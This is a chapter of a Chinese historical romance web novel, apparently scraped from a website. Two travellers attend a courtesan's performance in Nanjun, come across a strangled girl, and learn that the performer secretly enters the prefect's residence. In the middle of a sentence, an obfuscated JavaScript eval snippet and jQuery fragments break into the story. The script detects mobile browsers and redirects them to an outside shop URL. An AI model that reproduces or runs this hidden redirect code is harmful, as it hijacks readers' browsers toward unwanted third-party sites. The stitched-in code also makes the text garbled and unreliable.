马车到了城门口。
守城门的卫兵,见莫冷和木婉身上的服饰不似普通侍从。
并没有多加阻拦,轻易敞开了路让他们过去。
进入南郡城内,与城外一门之隔的南郡街市此刻正是热闹。
江心月心中烦闷,一路上又与宫寒羽无话可说。
几人在城里寻了一家上好的客栈,准备整顿一番。
江心月闷在屋子里,独自用过膳,又泡了个热水澡,语气悠悠道:“还是活着真切。”
等江心月收拾好再下楼时,宫寒羽坐在大厅内已经喝了一壶茶了。
“去南郡城的‘上肆阁’瞧瞧?”
宫寒羽抬眼,看着眼前的人,一头青丝拢在身后,低低的束着一根青色发带,身形浅薄,倒是叫人生出些许灵动来。
“上肆阁?”
宫寒羽不作声,起身向外走去,江心月徐徐跟上。
两人微微错步,路上行人的目光频频撇来。
到了上肆阁,江心月才发现这是一个听曲评弹的地。
江心月坐在前厅一处边角。
只见整个屋子里宾客满座。
宫寒羽微微一笑,顺势坐在她身旁。
“你笑什么?”江心月皱着眉头。
宫寒羽不答,点了点自己的耳朵,侧头看了看台上的人。
后方一人醉红了脸,自笑道:“今日若是能闻听晚娘一曲琴音,真是不枉此行啊。”
邻桌人接道:“晚娘可算是上肆阁的头牌,不过先前的妙手琵琶莫娘子,那才是人间少有。”
“欸,还真是。想当初,不知道多少公子哥,为了莫娘子登台,一夜就豪掷千金。”
“哈哈哈,你若是有那银钱,怕是也能博美人一笑。”
莫冷跟着笑问道:“那怎么叫晚娘顶了头牌?”
“欸,这你就不知道了吧,我听说啊,那莫娘子生的美貌,早早叫一个显贵的大人家赎了身契,给人当外室去了。”
“争着给莫娘子赎银的可不少。”
旁边几人调笑着,同江心月他们说道。
“那也得有命花才行。”一人勾着脖子,压低声音:“据说她想去寻情郎,半道上遇上了贼人,抵死不从,早魂断他乡了。”
江心月给自己斟了杯酒,眼中嗤笑。
道听途说,真是无稽之谈。
“滚开。”
一声呵斥传来,迎客的小二被推到在地。
“睁大你的狗眼看看,居然敢来拦邵爷的路。”
一个油头粉面,獐头鼠目的矮个子男人,指着小二的鼻子骂道。
“起开,你是爷,我是爷?别挡着爷的路。”
一道带着些许尖锐的声音,伴着一张其貌不扬的脸突然出现在大厅里。
“看什么看!这地方也是你能坐的?”
矮个子男人哈着腰,又跑去最前面的一张桌子前,将原本坐在那的两人推搡开。
“邵爷,小的给您擦干净了,您坐这。”
被称作邵爷的男人,背着手,三两步上前坐下。
周围人对此已然见怪不怪,不多时,便散去了视线各自闲聊。
大厅里一时嘈杂起来。
一转眼。
几名小二悄然窜入,将厅内四周明亮的灯火都熄灭了去,只留几盏夜明珠。
台上出现六名女子,各自手中提着盏花灯,环台而立。
又有一张白菱纱自楼上飘下。
正正垂在台中央。
“晚娘要出来了。”
江心月听到旁边一道声音雀跃道。
顺着那人的声音,江心月抬眼看去。
一道纤细的身影轻轻走来,走近了才叫人看清。
女子面带素纱,一身银红色衣裙,腰间系着一根银色丝线,丝线上缀着几个金色的小铃铛。
随着女子缓步而动,铃铛轻撞出声。
周围噤声一片,目视女子坐在白纱之下。
一曲春江花月夜跃然指上。
曲入佳境,丝丝入扣。
末了。
万物归一。
女子起身致意。
“好!”
不知是谁,率先打破这份安静。
紧接着,一道道掌声响起。
“比那莫娘子如何?”
宫寒羽挑眉,看着江心月。
“差点意思。”
莫娘子在她那,宫寒羽是知道的,江心月也不含糊,便直接答了来。
想当初。
莫娘子带着全身家当,抱着琵琶在漠外弹了两日。
曲中意境与这晚娘根本不在一个面上。
叫晚娘的女子未做停留,直直上了楼去。
江心月正准备起身。
忽然。
叫邵爷的那桌,嚣张道:“我们邵爷要上楼,谁敢拦着?”
“哎呦,邵爷,过几日周老爷大寿,晚娘得准备准备,别叫晚娘扫了你的兴致,媚儿可等你好久了。”
“这方妈妈果真是好手段嘞。”
听见前方的动静,旁桌一人悄声道。
“可不是嘛,前些年,就是靠着莫娘子,方妈妈这上肆阁才名声大噪。如今,又弄来个晚娘。这晚娘到底还是比莫娘子厉害些啊……”
“你怎知莫娘子不如晚娘?”
江心月听了一耳朵,不经问道。
“兄台莫怪,我家娘子酷爱音律,又听闻莫娘子一手琵琶弹得极好,我们二人才慕名而来,没见到莫娘子,有些遗憾。”
谁是你娘子?
江心月斜着眼,瞪着宫寒羽。
“叫我说,今日得闻晚娘琴音,你们夫妇二人,也不算白来。何况,晚娘可是连郡守大人都青睐的。”
“不知兄台,此话怎讲?”
宫寒羽噙着笑,以眼神,回应江心月的目光。
“当初莫娘子都没去过郡守府,这次郡守府办寿,晚娘可是被请去宴奏的。”
男人瞅了眼宫寒羽和江心月,压低声音道。
“郡守府何时寿宴?”宫寒羽问那人。
“这个月十七。”那人声音越发的低,凑在宫寒羽两人头前说道。
江心月有些不太理解,脱口而出:“有何不妥?”
男人歪头看了眼江心月,诧异道:“谁家在十七办这等大事?还是选了那夜里……”
“嘘!不要命了。”
另一人扯了扯男人的袖子,语气里满是警告。
这可是在南郡城,谁敢议论南郡的天。
两人神色紧张,四下张望了一眼,迅速离开了江心月他们的视线。
……
回去的路上。
想着上肆阁的事情,江心月一步步走的生慢。
“咚!”
一声闷响。
眼前彷佛一道暗影,江心月还没看清,已被宫寒羽护在了身后。
“公子,人已经死了。”
莫冷和木婉飞步上前查看。
这才发现,地上躺着的少女,身上穿着普通的布衣,头上还扎着两个髻角。
少女睁大着双眼,脖颈上还留着一圈深红色的印子。
江心月作势要去检查,却被宫寒羽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14026422|148771||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
拉住了手腕。
倏地。
“都是死人吗?还不把那死丫头给我抓回来。”
一个涂着厚重脂粉的老鸨,一手叉着腰,一手拿着帕子,指挥着几名奴仆,呼哧呼哧的向他们这边走来。
等人到了跟前,江心月才发现,他们正是来寻地上的少女。
“哎呦呦,哪个王八羔子,居然动到我们红袖招的银子了,这还是没过花的苗子,可是损失了我十两银子。”
那老鸨扭着粗壮的腰身,满头的环翠叮当响。
指着地上的少女,眼睛转的飞快。
“娘子你没事吧?好端端的,白白叫这姑娘吓了一跳,累的娘子你都心悸了。倒是要问问主家,可得要了诊金的。”
宫寒羽转手扶着江心月,语气里满是不肯罢休。
“唉,倒是也可怜了这孩子。”
江心月顺着宫寒羽,叹了口气。
老鸨见江心月面上确实泛白,又瞧两人面生,摸不清底细。
正要自认倒霉,叫人拿草席裹了人去。
便瞧莫冷取出十两银子,走到她的面前。
身后一道虚若的声音响起:“就当这孩子的安葬费吧,碰上即是有缘,妈妈不若将这孩子交由我们帮忙安葬了去。”
老鸨本以为这是个赔本买卖了,没想到有人愿意花钱安置。
赶紧收下了银子,招呼过奴仆笑盈盈的走了。
见人走远。
江心月狠狠白了眼宫寒羽。
几人将少女带到旁处,江心月挽起她的衣袖。
这才发下。
衣袖下的两只胳膊,青青紫紫布满了勒痕。
翻开少女的手掌,指尖缝隙里还残余着白色的粉末。
木婉上前,掏出一张空白的符纸,将粉末抠出来倒在上面。
江心月松开了手,站到了少女头顶的方向。
示意木婉捏开少女的下颌。
“找个人将她安葬了吧。”
一番检查,江心月皱了眉头。
……
再次回到客栈里。
江心月没有回房,与宫寒羽坐在一处。
“那姑娘的死,你怎么看?”宫寒羽道。
“没有念,又不是我所学,不知。”
江心月说的大实话,她能解怨送念,可不能寻找杀人凶手。
南郡城内,红袖招的人,被杀在离上肆阁几步之遥的地方。
“那姑娘舌陷喉中,时日没有太久,可以查查。”
江心月想起,刚才查看少女口中时的情形,以及从她手中取下的粉末。
“已经叫人去查了。”
那少女出现的蹊跷,宫寒羽与江心月倒是想到一起去了。
也不知道宫寒羽是使了什么法子。
不多时,莫冷便拿着一封书信走了近来。
“公子,江姑娘。”
莫冷将书信递给宫寒羽。
宫寒羽也不避着,挪进江心月,展开书信。
只见上书:
上肆阁晚娘,暗夜潜行,潜入郡守府。
江心月抬头,正巧与宫寒羽撞了个满眼。
江心月直直的看着宫寒羽,面若白玉,唇若桃花,一头青丝此时已经散在背后。
而宫寒羽,剑眉星目,玉冠束发,一双眼沉沉的盯着自己。
一时间。
两人缄默不言。
“公子?”
“咳咳,给郡守府备一份寿礼。”
江心月起身,脸上闪过一丝不自然。
不等莫冷出门,迅速绕了过去。